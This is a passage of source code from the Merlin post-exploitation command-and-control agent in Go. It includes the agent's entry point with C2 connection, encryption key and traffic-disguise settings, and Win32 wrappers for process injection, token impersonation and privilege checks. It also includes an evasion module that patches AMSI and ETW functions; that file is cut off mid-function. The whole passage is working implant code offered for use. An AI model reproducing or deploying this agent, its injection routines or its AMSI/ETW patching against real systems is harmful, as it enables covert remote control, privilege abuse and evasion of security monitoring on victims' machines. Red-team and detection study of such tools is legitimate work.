MaxConnsPerHost: 0,
IdleConnTimeout: 0,
ResponseHeaderTimeout: 0,
ExpectContinueTimeout: 0,
TLSNextProto: nil,
ProxyConnectHeader: nil,
GetProxyConnectHeader: nil,
MaxResponseHeaderBytes: 0,
WriteBufferSize: 0,
ReadBufferSize: 0,
ForceAttemptHTTP2: false,
}
client.Transport = &transport
return client, nil
}
================================================
FILE: main.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package main
import (
// Standard
"bufio"
"flag"
"fmt"
"io"
"os"
"strconv"
"strings"
"time"
// 3rd Party
"github.com/fatih/color"
"github.com/google/shlex"
"github.com/google/uuid"
"github.com/Ne0nd0g/merlin-agent/v2/agent"
"github.com/Ne0nd0g/merlin-agent/v2/clients"
"github.com/Ne0nd0g/merlin-agent/v2/clients/http"
"github.com/Ne0nd0g/merlin-agent/v2/clients/smb"
"github.com/Ne0nd0g/merlin-agent/v2/clients/tcp"
"github.com/Ne0nd0g/merlin-agent/v2/clients/udp"
"github.com/Ne0nd0g/merlin-agent/v2/core"
"github.com/Ne0nd0g/merlin-agent/v2/run"
)
// GLOBAL VARIABLES
// These are use hard code configurable options during compile time with Go's ldflags -X option
// auth the authentication method the Agent will use to authenticate to the server
var auth = "opaque"
// addr is the interface and port the agent will use for network connections
var addr = "127.0.0.1:7777"
// headers is a list of HTTP headers that the agent will use with the HTTP protocol to communicate with the server
var headers = ""
// host a specific HTTP header used with HTTP communications; notably used for domain fronting
var host = ""
// httpClient is a string that represents what type of HTTP client the Agent should use (e.g., winhttp, go)
var httpClient = "go"
// ja3 a string that represents how the Agent should configure it TLS client
var ja3 = ""
// killdate the date and time, as a unix epoch timestamp, that the agent will quit running
var killdate = "0"
// listener the UUID of the peer-to-peer listener this agent belongs to, used with delegate messages
var listener = ""
// maxretry the number of failed connections to the server before the agent will quit running
var maxretry = "7"
// opaque the EnvU data from OPAQUE registration so the agent can skip straight to authentication
var opaque []byte
// padding the maximum size for random amounts of data appended to all messages to prevent static message sizes
var padding = "4096"
// parrot a string from the https://github.com/refraction-networking/utls#parroting library to mimic a specific browser
var parrot = ""
// protocol the communication protocol the agent will use to communicate with the server
var protocol = "h2"
// proxy the address of HTTP proxy to send HTTP traffic through
var proxy = ""
// proxyUser the username for proxy authentication
var proxyUser = ""
// proxyPass the password for proxy authentication
var proxyPass = ""
// psk is the Pre-Shared Key, the secret used to encrypt messages communications with the server
var psk = "merlin"
// secure a boolean value as a string that determines the value of the TLS InsecureSkipVerify option for HTTP
// communications.
// Must be a string, so it can be set from the Makefile
var secure = "false"
// sleep the amount of time the agent will sleep before it attempts to check in with the server
var sleep = "30s"
// skew the maximum size for random amounts of time to add to the sleep value to vary checkin times
var skew = "3000"
// transforms is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
// that will be sent to the server
var transforms = "jwe,gob-base"
// url the protocol, address, and port of the Agent's command and control server to communicate with
var url = "https://127.0.0.1:443"
// useragent the HTTP User-Agent header for HTTP communications
var useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
func main() {
verbose := flag.Bool("v", false, "Enable verbose output")
version := flag.Bool("version", false, "Print the agent version and exit")
debug := flag.Bool("debug", false, "Enable debug output")
flag.StringVar(&auth, "auth", auth, "The Agent's authentication method (e.g, OPAQUE")
flag.StringVar(&addr, "addr", addr, "The address in interface:port format the agent will use for communications")
flag.StringVar(&transforms, "transforms", transforms, "Ordered CSV of transforms to construct a message")
flag.StringVar(&url, "url", url, "A comma separated list of the full URLs for the agent to connect to")
flag.StringVar(&psk, "psk", psk, "Pre-Shared Key used to encrypt initial communications")
flag.StringVar(&protocol, "proto", protocol, "Protocol for the agent to connect with [https (HTTP/1.1), http (HTTP/1.1 Clear-Text), h2 (HTTP/2), h2c (HTTP/2 Clear-Text), http3 (QUIC or HTTP/3.0), tcp-bind, tcp-reverse, udp-bind, udp-reverse, smb-bind, smb-reverse]")
flag.StringVar(&proxy, "proxy", proxy, "Hardcoded proxy to use for http/1.1 traffic only that will override host configuration")
flag.StringVar(&proxyUser, "proxy-user", proxyUser, "Username for proxy authentication")
flag.StringVar(&proxyPass, "proxy-pass", proxyPass, "Password for proxy authentication")
flag.StringVar(&host, "host", host, "HTTP Host header")
flag.StringVar(&ja3, "ja3", ja3, "JA3 signature string (not the MD5 hash). Overrides -proto & -parrot flags")
flag.StringVar(&parrot, "parrot", ja3, "parrot or mimic a specific browser from github.com/refraction-networking/utls (e.g., HelloChrome_Auto)")
flag.StringVar(&secure, "secure", secure, "Require TLS certificate validation for HTTP communications")
flag.StringVar(&sleep, "sleep", sleep, "Time for agent to sleep")
flag.StringVar(&skew, "skew", skew, "Amount of skew, or variance, between agent checkins")
flag.StringVar(&killdate, "killdate", killdate, "The date, as a Unix EPOCH timestamp, that the agent will quit running")
flag.StringVar(&listener, "listener", listener, "The uuid of the peer-to-peer listener this agent should connect to")
flag.StringVar(&maxretry, "maxretry", maxretry, "The maximum amount of failed checkins before the agent will quit running")
flag.StringVar(&padding, "padding", padding, "The maximum amount of data that will be randomly selected and appended to every message")
flag.StringVar(&useragent, "useragent", useragent, "The HTTP User-Agent header string that the Agent will use while sending traffic")
flag.StringVar(&headers, "headers", headers, "A new line separated (e.g., \\n) list of additional HTTP headers to use")
flag.StringVar(&httpClient, "http-client", httpClient, "The HTTP client to use for communication [go, winhttp]")
flag.Usage = usage
if len(os.Args) <= 1 {
input := make(chan string, 1)
var stdin string
go getArgsFromStdIn(input, *verbose)
select {
case i := <-input:
stdin = i
case <-time.After(500 * time.Millisecond):
}
if stdin != "" {
args, err := shlex.Split(stdin)
if err == nil && len(args) > 0 {
os.Args = append(os.Args, args...)
}
}
}
flag.Parse()
if *version {
color.Blue(fmt.Sprintf("Merlin Agent Version: %s", core.Version))
color.Blue(fmt.Sprintf("Merlin Agent Build: %s", core.Build))
os.Exit(0)
}
core.Debug = *debug
core.Verbose = *verbose
// Setup and run agent
agentConfig := agent.Config{
Sleep: sleep,
Skew: skew,
KillDate: killdate,
MaxRetry: maxretry,
}
a, err := agent.New(agentConfig)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
// Parse the secure flag
var verify bool
verify, err = strconv.ParseBool(secure)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
// Get the client
var client clients.Client
var listenerID uuid.UUID
switch protocol {
case "http", "https", "h2", "h2c", "http3":
clientConfig := http.Config{
AgentID: a.ID(),
Protocol: protocol,
ClientType: httpClient,
Host: host,
Headers: headers,
Proxy: proxy,
ProxyUser: proxyUser,
ProxyPass: proxyPass,
UserAgent: useragent,
PSK: psk,
JA3: ja3,
Parrot: parrot,
Padding: padding,
AuthPackage: auth,
Opaque: opaque,
Transformers: transforms,
InsecureTLS: !verify,
}
if strings.ToLower(httpClient) == "winhttp" && strings.ToLower(protocol) == "h2" {
clientConfig.Protocol = "https"
}
if url != "" {
clientConfig.URL = strings.Split(strings.ReplaceAll(url, " ", ""), ",")
}
client, err = http.New(clientConfig)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
case "tcp-bind", "tcp-reverse":
listenerID, err = uuid.Parse(listener)
if err != nil {
if *verbose {
color.Red(fmt.Sprintf("there was an error parsing the listener's UUID: %s", err))
}
os.Exit(1)
}
config := tcp.Config{
AgentID: a.ID(),
ListenerID: listenerID,
PSK: psk,
Address: []string{addr},
AuthPackage: auth,
Transformers: transforms,
Mode: protocol,
Padding: padding,
}
// Get the client
client, err = tcp.New(config)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
case "udp-bind", "udp-reverse":
listenerID, err = uuid.Parse(listener)
if err != nil {
if *verbose {
color.Red(fmt.Sprintf("there was an error parsing the listener's UUID: %s", err))
}
os.Exit(1)
}
config := udp.Config{
AgentID: a.ID(),
ListenerID: listenerID,
PSK: psk,
Address: []string{addr},
AuthPackage: auth,
Transformers: transforms,
Mode: protocol,
Padding: padding,
}
// Get the client
client, err = udp.New(config)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
case "smb-bind", "smb-reverse":
listenerID, err = uuid.Parse(listener)
if err != nil {
if *verbose {
color.Red(fmt.Sprintf("there was an error parsing the listener's UUID: %s", err))
}
os.Exit(1)
}
config := smb.Config{
Address: []string{addr},
AgentID: a.ID(),
AuthPackage: auth,
ListenerID: listenerID,
Padding: padding,
PSK: psk,
Transformers: transforms,
Mode: protocol,
}
// Get the client
client, err = smb.New(config)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
default:
if *verbose {
color.Red(fmt.Sprintf("main: unhandled protocol %s\n", protocol))
os.Exit(1)
}
}
// Start the agent
run.Run(a, client)
}
// usage prints command line options
func usage() {
fmt.Printf("Merlin Agent\r\n")
flag.PrintDefaults()
os.Exit(0)
}
// getArgsFromStdIn reads merlin agent command line arguments from STDIN so that they can be piped in
func getArgsFromStdIn(input chan string, verbose bool) {
defer close(input)
for {
result, err := bufio.NewReader(os.Stdin).ReadString('\n')
if err != nil && err != io.EOF {
if verbose {
color.Red(fmt.Sprintf("there was an error reading from STDIN: %s", err))
}
return
}
input <- result
}
}
================================================
FILE: os/os.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package os
import (
"os/user"
)
// GetIntegrityLevel determines if the agent is running in an elevated context such as root
// Returns 4 for root and 3 for members of the sudo group
func GetIntegrityLevel() (integrity int, err error) {
u, err := user.Current()
if err != nil {
return
}
if u.Uid == "0" || u.Gid == "0" {
// 3 represents Windows high-integrity
// 4 represents Windows system-integrity
return 4, nil
}
// Lookup sudo group number
sudo, err := user.LookupGroup("sudo")
if err != nil {
return
}
groups, err := u.GroupIds()
if err != nil {
return
}
for _, g := range groups {
if g == sudo.Gid {
return 3, nil
}
}
return
}
// GetUser enumerates the username and their primary group for the account running the agent process
// It is OK if this function returns empty strings because we want the agent to run regardless
func GetUser() (username, group string, err error) {
var u *user.User
u, err = user.Current()
if err != nil {
return
}
username = u.Username
group = u.Gid
return
}
================================================
FILE: os/os_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package os
import (
// X Packages
"golang.org/x/sys/windows"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens"
)
// GetIntegrityLevel returns the agent's current Windows Access Token integrity level
// Returns 2 for medium integrity, 3 for high integrity, and 4 for system integrity
// https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control
func GetIntegrityLevel() (integrity int, err error) {
var token windows.Token
if tokens.Token != 0 {
token = tokens.Token
} else {
token = windows.GetCurrentProcessToken()
}
level, err := tokens.GetTokenIntegrityLevel(token)
if err != nil {
return
}
switch level {
case "Untrusted":
integrity = 0
case "Low":
integrity = 1
case "Medium", "Medium High":
integrity = 2
case "High":
integrity = 3
case "System":
integrity = 4
}
return
}
// GetUser enumerates the username and their primary group for the account running the agent process
// It is OK if this function returns empty strings because we want the agent to run regardless
func GetUser() (username, group string, err error) {
return tokens.GetCurrentUserAndGroup()
}
================================================
FILE: os/windows/README.MD
================================================
# Windows
This directory is used to store functions exclusively used with the Windows agent.
It consists of two high-level directories:
- `api` - This directory stores low-level Win32 API calls without wrapper functionality; All checks should be performed prior to calling
- `pkg` - This directory stores high-level functions that sometimes wrap Win32 API calls
================================================
FILE: os/windows/api/advapi32/advapi32.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package advapi32
import (
// Standard
"fmt"
"syscall"
"unsafe"
// X Packages
"golang.org/x/sys/windows"
)
var Advapi32 = windows.NewLazySystemDLL("Advapi32.dll")
// CreateProcessWithLogon Creates a new process and its primary thread.
// Then the new process runs the specified executable file in the security context of the specified credentials
// (user, domain, and password). It can optionally load the user profile for a specified user.
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw
func CreateProcessWithLogon(lpUsername *uint16, lpDomain *uint16, lpPassword *uint16, dwLogonFlags uint32, lpApplicationName *uint16, lpCommandLine *uint16, dwCreationFlags uint32, lpEnvironment uintptr, lpCurrentDirectory *uint16, lpStartupInfo *windows.StartupInfo, lpProcessInformation *windows.ProcessInformation) error {
CreateProcessWithLogonW := Advapi32.NewProc("CreateProcessWithLogonW")
// Parse optional arguments
var domain uintptr
if *lpDomain == 0 {
domain = 0
} else {
domain = uintptr(unsafe.Pointer(lpDomain))
}
var applicationName uintptr
if *lpApplicationName == 0 {
applicationName = 0
} else {
applicationName = uintptr(unsafe.Pointer(lpApplicationName))
}
var commandLine uintptr
if *lpCommandLine == 0 {
commandLine = 0
} else {
commandLine = uintptr(unsafe.Pointer(lpCommandLine))
}
var currentDirectory uintptr
if *lpCurrentDirectory == 0 {
currentDirectory = 0
} else {
currentDirectory = uintptr(unsafe.Pointer(lpCurrentDirectory))
}
// BOOL CreateProcessWithLogonW(
// [in] LPCWSTR lpUsername,
// [in, optional] LPCWSTR lpDomain,
// [in] LPCWSTR lpPassword,
// [in] DWORD dwLogonFlags,
// [in, optional] LPCWSTR lpApplicationName, The function does not use the search path
// [in, out, optional] LPWSTR lpCommandLine, The maximum length of this string is 1024 characters.
// [in] DWORD dwCreationFlags,
// [in, optional] LPVOID lpEnvironment,
// [in, optional] LPCWSTR lpCurrentDirectory,
// [in] LPSTARTUPINFOW lpStartupInfo,
// [out] LPPROCESS_INFORMATION lpProcessInformation
//);
ret, _, err := CreateProcessWithLogonW.Call(
uintptr(unsafe.Pointer(lpUsername)),
domain,
uintptr(unsafe.Pointer(lpPassword)),
uintptr(dwLogonFlags),
applicationName,
commandLine,
uintptr(dwCreationFlags),
lpEnvironment,
currentDirectory,
uintptr(unsafe.Pointer(lpStartupInfo)),
uintptr(unsafe.Pointer(lpProcessInformation)),
)
if err != syscall.Errno(0) || ret == 0 {
return fmt.Errorf("there was an error calling CreateProcessWithLogon with return code %d: %s", ret, err)
}
return nil
}
// CreateProcessWithTokenW creates a new process and its primary thread. The new process runs in the security context of
// the specified token. It can optionally load the user profile for the specified user.
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
func CreateProcessWithTokenW(hToken, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation uintptr) (err error) {
// BOOL CreateProcessWithTokenW(
// [in] HANDLE hToken,
// [in] DWORD dwLogonFlags,
// [in, optional] LPCWSTR lpApplicationName,
// [in, out, optional] LPWSTR lpCommandLine,
// [in] DWORD dwCreationFlags,
// [in, optional] LPVOID lpEnvironment,
// [in, optional] LPCWSTR lpCurrentDirectory,
// [in] LPSTARTUPINFOW lpStartupInfo,
// [out] LPPROCESS_INFORMATION lpProcessInformation
//);
ret, _, err := Advapi32.NewProc("CreateProcessWithTokenW").Call(
hToken,
dwLogonFlags,
lpApplicationName,
lpCommandLine,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation,
)
if err != syscall.Errno(0) || ret == 0 {
err = fmt.Errorf("there was an error calling advapi32!CreateProcessWithTokenW with return code %d: %s", ret, err)
return
}
return nil
}
// ImpersonateLoggedOnUser lets the calling thread impersonate the security context of a logged-on user.
// The user is represented by a token handle.
// https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateloggedonuser
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
impersonateLoggedOnUser := Advapi32.NewProc("ImpersonateLoggedOnUser")
// BOOL ImpersonateLoggedOnUser(
// [in] HANDLE hToken
//);
_, _, err = impersonateLoggedOnUser.Call(uintptr(hToken))
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling ImpersonateLoggedOnUser: %s", err)
return
}
err = nil
return
}
// LogonUser attempts to log a user on to the local computer.
// The local computer is the computer from which LogonUser was called. You cannot use LogonUser to log on to a remote computer.
// You specify the user with a user name and domain and authenticate the user with a plaintext password.
// If the function succeeds, you receive a handle to a token that represents the logged-on user.
// You can then use this token handle to impersonate the specified user or, in most cases, to create a process that runs in the context of the specified user.
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw
func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32) (token *unsafe.Pointer, err error) {
// The LogonUser function was not available in the golang.org/x/sys/windows package at the time of writing
LogonUserW := Advapi32.NewProc("LogonUserW")
// BOOL LogonUserW(
// [in] LPCWSTR lpszUsername,
// [in, optional] LPCWSTR lpszDomain,
// [in, optional] LPCWSTR lpszPassword,
// [in] DWORD dwLogonType,
// [in] DWORD dwLogonProvider,
// [out] PHANDLE phToken
//);
var phToken unsafe.Pointer
_, _, err = LogonUserW.Call(
uintptr(unsafe.Pointer(lpszUsername)),
uintptr(unsafe.Pointer(lpszDomain)),
uintptr(unsafe.Pointer(lpszPassword)),
uintptr(dwLogonType),
uintptr(dwLogonProvider),
uintptr(unsafe.Pointer(&phToken)),
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling advapi32!LogonUserW: %s", err)
return
}
return &phToken, nil
}
// LookupPrivilegeName retrieves the name that corresponds to the privilege represented on a specific system by a
// specified locally unique identifier (LUID).
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegenamew
func LookupPrivilegeName(luid windows.LUID) (privilege string, err error) {
lookupPrivilegeNameW := Advapi32.NewProc("LookupPrivilegeNameW")
// BOOL LookupPrivilegeNameW(
// [in, optional] LPCWSTR lpSystemName,
// [in] PLUID lpLuid,
// [out, optional] LPWSTR lpName,
// [in, out] LPDWORD cchName
//);
// Call to determine the size
var cchName uint32
ret, _, err := lookupPrivilegeNameW.Call(0, uintptr(unsafe.Pointer(&luid)), 0, uintptr(unsafe.Pointer(&cchName)))
if err != windows.ERROR_INSUFFICIENT_BUFFER {
return "", fmt.Errorf("there was an error calling advapi32!LookupPrivilegeName for %+v with return code %d: %s", luid, ret, err)
}
var lpName uint16
ret, _, err = lookupPrivilegeNameW.Call(0, uintptr(unsafe.Pointer(&luid)), uintptr(unsafe.Pointer(&lpName)), uintptr(unsafe.Pointer(&cchName)))
if err != windows.Errno(0) || ret == 0 {
return "", fmt.Errorf("there was an error calling advapi32!LookupPrivilegeName with return code %d: %s", ret, err)
}
return windows.UTF16PtrToString(&lpName), nil
}
================================================
FILE: os/windows/api/kernel32/kernel32.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package kernel32
import (
// Standard
"fmt"
// X Packages
"golang.org/x/sys/windows"
)
var kernel32 = windows.NewLazySystemDLL("kernel32.dll")
// CreateRemoteThreadEx Creates a thread that runs in the virtual address space of another process and optionally
// specifies extended attributes such as processor group affinity.
// HANDLE CreateRemoteThreadEx(
//
// [in] HANDLE hProcess,
// [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
// [in] SIZE_T dwStackSize,
// [in] LPTHREAD_START_ROUTINE lpStartAddress,
// [in, optional] LPVOID lpParameter,
// [in] DWORD dwCreationFlags,
// [in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
// [out, optional] LPDWORD lpThreadId
//
// );
// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex
func CreateRemoteThreadEx(hProcess uintptr, lpThreadAttributes uintptr, dwStackSize uintptr, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags int, lpAttributeList uintptr, lpThreadId uintptr) (addr uintptr, err error) {
createRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
addr, _, err = createRemoteThreadEx.Call(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, uintptr(dwCreationFlags), lpAttributeList, lpThreadId)
if err != windows.Errno(0) {
err = fmt.Errorf("there was an error calling Windows API CreateRemoteThread: %s", err)
} else {
err = nil
}
return
}
// QueueUserAPC Adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.
// DWORD QueueUserAPC(
//
// [in] PAPCFUNC pfnAPC,
// [in] HANDLE hThread,
// [in] ULONG_PTR dwData
//
// );
// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
func QueueUserAPC(pfnAPC uintptr, hThread uintptr, dwData uintptr) (err error) {
queueUserAPC := kernel32.NewProc("QueueUserAPC")
_, _, err = queueUserAPC.Call(pfnAPC, hThread, dwData)
if err != windows.Errno(0) {
err = fmt.Errorf("there was an error calling Windows API QueueUserAPC: %s", err)
} else {
err = nil
}
return
}
// VirtualAllocEx Reserves, commits, or changes the state of a region of memory within the virtual address space of a
// specified process. The function initializes the memory it allocates to zero.
//
// LPVOID VirtualAllocEx(
// [in] HANDLE hProcess,
// [in, optional] LPVOID lpAddress,
// [in] SIZE_T dwSize,
// [in] DWORD flAllocationType,
// [in] DWORD flProtect
// );
//
// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
func VirtualAllocEx(hProcess uintptr, lpAddress uintptr, dwSize int, flAllocationType int, flProtect int) (addr uintptr, err error) {
virtualAllocEx := kernel32.NewProc("VirtualAllocEx")
addr, _, err = virtualAllocEx.Call(hProcess, lpAddress, uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect))
if err != windows.Errno(0) {
err = fmt.Errorf("there was an error calling Windows API VirtualAllocEx: %s", err)
} else {
err = nil
}
return
}
================================================
FILE: os/windows/api/ntdll/ntdll.go
================================================
//go:build windows
// +build windows
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2022 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see .
package ntdll
import (
// Standard
"fmt"
// X Packages
"golang.org/x/sys/windows"
)
var ntdll = windows.NewLazySystemDLL("ntdll.dll")
// RtlCopyMemory routine copies the contents of a source memory block to a destination memory block
// void RtlCopyMemory(
//
// void* Destination,
// const void* Source,
// size_t Length
//
// );
// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory
func RtlCopyMemory(dest uintptr, src uintptr, len uint32) (err error) {
rtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, err = rtlCopyMemory.Call(dest, src, uintptr(len))
if err != windows.Errno(0) {
err = fmt.Errorf("there was an error calling Windows RtlCopyMemory function: %s", err)
} else {
err = nil
}
return
}
// RtlCreateUserThread
//
// NTSTATUS
// RtlCreateUserThread(
// IN HANDLE Process,
// IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,
// IN BOOLEAN CreateSuspended,
// IN ULONG ZeroBits OPTIONAL,
// IN SIZE_T MaximumStackSize OPTIONAL,
// IN SIZE_T CommittedStackSize OPTIONAL,
// IN PUSER_THREAD_START_ROUTINE StartAddress,
// IN PVOID Parameter OPTIONAL,
// OUT PHANDLE Thread OPTIONAL,
// OUT PCLIENT_ID ClientId OPTIONAL
// );
//
// https://doxygen.reactos.org/da/d0c/sdk_2lib_2rtl_2thread_8c.html#ae5f514e4fcb7d47880171175e88aa205
func RtlCreateUserThread(hProcess uintptr, lpSecurityDescriptor, bSuspended, zeroBits, maxStack, commitSize, lpStartAddress, pParam, hThread, pClient uintptr) (addr uintptr, err error) {
rtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
addr, _, err = rtlCreateUserThread.Call(hProcess, lpSecurityDescriptor, bSuspended, zeroBits, maxStack, commitSize, lpStartAddress, pParam, hThread, pClient)
if err != windows.Errno(0) {
err = fmt.Errorf("there was an error calling Windows RtlCreateUserThread function: %s", err)
} else {
err = nil
}
return
}
================================================
FILE: os/windows/api/user32/user32.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package user32
import (
// Standard
"fmt"
"syscall"
// X Packages
"golang.org/x/sys/windows"
)
var User32 = windows.NewLazySystemDLL("User32.dll")
// GetProcessWindowStation Retrieves a handle to the current window station for the calling process.
// If the function succeeds, the return value is a handle to the window station
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getprocesswindowstation
func GetProcessWindowStation() (hWinsta uintptr, err error) {
GetProcessWindowStation := User32.NewProc("GetProcessWindowStation")
hWinsta, _, err = GetProcessWindowStation.Call()
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling GetProcessWindowsStation: %s", err)
} else {
err = nil
}
return
}
// GetThreadDesktop Retrieves a handle to the desktop assigned to the specified thread.
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getthreaddesktop
func GetThreadDesktop(threadID uint32) (hDesktop uintptr, err error) {
GetThreadDesktop := User32.NewProc("GetThreadDesktop")
hDesktop, _, err = GetThreadDesktop.Call(uintptr(threadID))
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling GetThreadDesktop: %s", err)
} else {
err = nil
}
return
}
================================================
FILE: os/windows/pkg/evasion/evasion.go
================================================
//go:build windows && amd64
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package evasion
import (
// Standard
"fmt"
"syscall"
"unsafe"
// 3rd Party
bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
// X-Packages
"golang.org/x/sys/windows"
)
// Patch will find the target procedure and overwrite the start of its function with the provided bytes.
// Used to for evasion to patch things like amsi.dll!AmsiScanBuffer or ntdll.dll!EtwEvenWrite
func Patch(module string, proc string, data *[]byte) (string, error) {
oldBytes, err := ReadBanana(module, proc, len(*data))
if err != nil {
return "", err
}
out := fmt.Sprintf("\nRead %d bytes from %s!%s: %X", len(*data), module, proc, oldBytes)
err = WriteBanana(module, proc, data)
if err != nil {
return out, err
}
out += fmt.Sprintf("\nWrote %d bytes to %s!%s: %X", len(*data), module, proc, *data)
oldBytes, err = ReadBanana(module, proc, len(*data))
if err != nil {
return out, err
}
out += fmt.Sprintf("\nRead %d bytes from %s!%s: %X", len(*data), module, proc, oldBytes)
return out, nil
}
// Read will find the target module and procedure address and then read its byteLength
func Read(module string, proc string, byteLength int) ([]byte, error) {
target := syscall.NewLazyDLL(module).NewProc(proc)
err := target.Find()
if err != nil {
return nil, err
}
data := make([]byte, byteLength)
var readBytes *uintptr
